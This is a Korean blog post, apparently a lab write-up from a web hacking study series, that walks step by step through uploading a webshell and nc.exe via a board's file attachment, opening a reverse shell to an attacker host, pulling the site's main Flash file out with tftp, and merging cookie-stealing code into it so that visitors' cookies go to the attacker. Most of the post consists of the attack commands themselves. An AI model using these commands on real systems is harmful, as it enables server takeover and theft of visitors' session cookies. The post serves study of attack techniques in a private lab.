악성프로그램을 서버에 업로드함으로써 서버의 shell 권한을 획득할 수 있는 backdoor를 활용해본다.
후에 Stored procedure SQL Injection에서도 연계해서 사용되는 부분이 있으니 참고하자.
지금이야 물론 통할리 없는 프로그램들이지만 얼마나 강력하고 직접적인 효과를 내는지
기존에 깨작깨작 힘들던 해킹이 아닌, 흔히 해킹하면 떠올리는 클리셰를 마음껏 만끽할 수 있었던 시간이었다.
[실습 목표] 서버에 악성프로그램을 업로드하여 backdoor를 만들고 이를 통해 서버 웹페이지에서 메인으로 사용하는 Flash를 변조하여 Client가 웹페이지에 접속하는 것만으로 자동으로 쿠키를 탈취하여 공격자에게 전달할 수 있도록 만든다.
Step 0. 악성프로그램 사용 준비
flash : flash 파일 변조 tool
nc11nt : backdoor
sendcookie : 쿠키 탈취 tool
tftpd32 : ftp tool
webshell : backdoor
도구 다운로드 및 guest OS clint로 옮기고 서버 웹페이지 요청
Step 1. 악성프로그램을 글쓰기 - 파일 첨부를 통해 서버에 업로드
갤러리에 글쓰기에서 파일 첨부
1. webshell.asp
2. nc.exe
3. webshell.txt 순서로 파일 첨부하여 글쓰기 완료
Step 2. 서버의 쉘 접속
글에서 첨부한 webshell을 우클릭 속성에서 주소를 확인하고
http://192.168.10.20/board/upload/webshell.asp 접속
서버 컴퓨터에 대한 shell을 실행할 수 있다.
dir c:\ 서버 컴퓨터 내부 확인 가능
공격자의 윈도우 cmd 창에서
nc.exe -lvp 12345로 포트를 열고
아까 열었던 webshell에서
c:\inetpub\camel\board\upload\nc.exe 192.168.10.10 12345 -e cmd.exe run
서버의 쉘에 진입
ipconfig로 서버 ip임을 확인
Step 3. tftp를 이용해 서버의 main_flash.swf을 탈취하여 변조하고 서버에 다시 삽입
웹페이지에서 소스보기 flash.swf 검색해서 파일이 저장되어 있는 주소 보기
<param name=movie value="image/main_flash.swf">
tftp 실행
받을 폴더 지정하고 아까 실행한 서버의 쉘에서
tftp -i 192.168.1.10 put c:\inetpub\camel\image\main_flash.swf
입력하면 서버에 저장되어 있는 main_flash.swf 파일이 공격자에게 넘어온다.
Step 4. 받아온 main_flash.swf을 수정하여 다시 서버에 업로드한다.
해당 프로그램을 쓰기 위해서 폴더로 cmd로 이동하고 쓸 파일을 같이 이동해서 가져간다
swfdump.exe --width --height --rate main_flash.swf
-X 367 -Y 185 -r 20.00
* 덤프라는 뜻이 찾아보니 컴퓨터 프로그램이 특정 시점에 작업 중이던 메모리 상태를 기록한 것이라는 뜻이다.
여기에서 사용된 의도는 진본 파일의 크기 값을 스캔해서 향후 변조한 파일에 같은 크기 값을 적용하기 위해
정보를 추출한 것이다.
sendcookie.as 파일 워드로 열어서 ip 수정 (쿠키를 탈취하여 보내는 코드가 작성되어 있음)
mtasc.exe -swf sendcookie.swf -main -header 367:185:20 sendcookie.as
swfcombine.exe -o main_flash.swf -t sendcookie.swf main_flash.swf
진본 flash 파일과 악성코드를 컴바인 시켜준다.
탈취한 서버 cmd에서
tftp -i 192.168.10.10 GET main_flash.swf
웹 페이지 메인 플래시 파일이 변조되어 업데이트되고
안에 삽입한 php 구문에 의해 접속한 client의 쿠키 정보가 자동으로 공격자에게 넘어오게 됨.
악성코드를 삽입하여 변조할 수 있는 등의 수많은 보안 취약점 때문에 지금은 adobe flash는 웹에서 거의 퇴출당하고 있으며 웬만한 웹 브라우저는 기본적으로 flash를 차단하고 있다.
'Web Hacking' 카테고리의 다른 글
13. String SQL Injection (Webgoat) (0) | 2022.07.29 |
---|---|
12. SQL 작업환경 구축 및 기초 구문 (0) | 2022.07.09 |
10. CSRF (Cross Site Request Forgery) (0) | 2022.06.29 |
9. XSS (Cross Site Scripting) (1) | 2022.06.27 |
8. bruteforce attack / password cracking (0) | 2022.06.24 |
댓글